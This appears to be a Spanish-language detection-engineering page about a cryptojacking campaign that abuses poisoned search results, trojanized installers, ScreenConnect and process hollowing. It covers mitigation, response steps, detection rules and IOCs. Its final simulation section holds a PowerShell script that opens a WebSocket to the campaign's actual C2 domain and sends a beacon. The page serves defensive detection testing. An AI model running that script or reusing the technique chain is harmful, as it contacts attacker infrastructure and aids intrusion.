De Resultados de Búsqueda Envenenados a Minería de GPU: Una Campaña de Criptojacking Usando ScreenConnect y Utilidades .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Esta campaña utiliza envenenamiento SEO y resultados manipulados de búsqueda de chatbots AI para atraer a los usuarios a descargar herramientas de monitoreo de hardware falsas. Los instaladores troyanizados llevan un DLL malicioso que se carga lateralmente en una aplicación legítima y despliega discretamente ScreenConnect. Los atacantes luego usan ScreenConnect para lanzar un dropper RunPE personalizado que vacía binarios .NET firmados por Microsoft e inyecta la carga útil de la siguiente etapa. La etapa final descarga herramientas de minería de GPU como gminer, lolMiner, y SRBMiner-MULTI, luego mantiene la persistencia a través de tareas programadas, claves de ejecución del registro y un acceso directo de inicio. El malware también agrega exclusiones de Windows Defender para reducir la posibilidad de detección.
Investigación
Los investigadores de Microsoft Defender mapearon toda la cadena de infección, incluyendo el método de carga lateral de DLL, el abuso de ScreenConnect como herramienta de gestión remota, y el uso de un cargador RunPE personalizado llamado SimpleRunPE.exe. Los analistas recuperaron los argumentos de línea de comandos de ScreenConnect, identificaron la lista de binarios .NET firmados utilizados para vaciado de procesos, y documentaron un punto final de comando y control protegido con un certificado TLS fijado. La investigación también descubrió infraestructuras de soporte como dominios maliciosos, direcciones IP y detalles del proveedor DNS vinculados a la campaña.
Mitigación
Los defensores deben habilitar la protección en la nube, aplicar reglas de reducción de superficie de ataque, bloquear archivos ejecutables que no cumplan con los requisitos de reputación, prevalencia o antigüedad, y activar la protección web y de red en Microsoft Defender para Endpoint. Se debe desactivar herramientas de gestión remota como ScreenConnect donde no sean necesarias o controlarlas estrictamente donde se requiera, monitoreando tareas programadas no autorizadas y entradas de ejecución del registro sospechosas. Cualquier exclusión de Windows Defender añadida por el malware debe ser eliminada inmediatamente, y los dominios y direcciones IP maliciosos identificados deben ser bloqueados.
Respuesta
If RuntimeHost.exe or SimpleRunPE.exe se encuentra ejecutándose desde directorios de caché ocultos, aísle el host afectado de inmediato, termine la sesión relacionada de ScreenConnect y elimine todos los mecanismos de persistencia, incluidas las tareas programadas, las claves de ejecución y los accesos directos de inicio. Bloquee el dominio minemine.gleeze.com y las direcciones IP observadas, luego busque en el entorno los binarios de mineros listados y autorun.dll. Finalmente, restaure las protecciones de Defender y revise la configuración de exclusión para detectar cambios no autorizados.
Flujo de Ataque
Detecciones
Posibles Puntos de Persistencia [ASEPs – Vieja Base NTUSER] (via evento_registro)
Ver
Schtasks apunta a un directorio / binario / script sospechoso (via línea de comandos)
Ver
Software de Acceso / Gestión Remota Alternativo (via creación_de_proceso)
Ver
Uso Sospechoso de CURL (via línea de comandos)
Ver
Llamada a Métodos .NET Sospechosos desde Powershell (via powershell)
Ver
Cambios Sospechosos en Preferencias de Windows Defender (via powershell)
Ver
Posibles Chequeos de Evasión (via powershell)
Ver
Binarios / Scripts Sospechosos en Ubicación de Autoinicio (via evento_archivo)
Ver
IOCs (HashSha256) para detectar: Desde resultados de búsqueda envenenados hasta minería GPU: Una campaña de cryptojacking que abusa de ScreenConnect y las utilidades .NET de Microsoft
Ver
IOCs (SourceIP) para detectar: Desde resultados de búsqueda envenenados hasta minería GPU: Una campaña de cryptojacking que abusa de ScreenConnect y las utilidades .NET de Microsoft
Ver
IOCs (DestinationIP) para detectar: Desde resultados de búsqueda envenenados hasta minería GPU: Una campaña de cryptojacking que abusa de ScreenConnect y las utilidades .NET de Microsoft
Ver
Comunicación C2 desde Binario Vaciado [Conexión de Red Windows]
Ver
Acceso Remoto Persistente y Vaciado de Procesos via ScreenConnect y SimpleRunPE [Creación de Proceso Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación de Pre-vuelo de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un atacante ya ha entregado un binario legítimo vaciado en la máquina de la víctima. El binario ahora inicia un canal C2 persistente sobre un WebSocket conexión awss://minemine.gleeze.com:8443/ws. Para emular esto, usamos un script de PowerShell que crea unClientWebSocket, opcionalmente establece una devolución de llamada de validación de certificado TLS personalizada (simulando fijación de certificados), y mantiene la conexión por un breve periodo. -
Script de Prueba de Regresión:
# Simular comunicación C2 desde un binario vaciado # Requisitos: PowerShell 5+ (clases .NET incorporadas) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Crear cliente WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # OPCIONAL: Imponer fijación de certificado (aceptar solo una huella digital específica) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # marcador de posición $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "Conectando al punto final C2 $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "Conexión establecida. Enviando carga útil de baliza..." # Envía una baliza ficticia (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Mantener el canal abierto por un breve periodo } finally { Write-Host "Cerrando WebSocket..." $ws.Abort() } -
Comandos de Limpieza:
# Asegúrese de que cualquier proceso de WebSocket restante esté terminado Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Opcionalmente elimine archivos temporales utilizados en la prueba Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue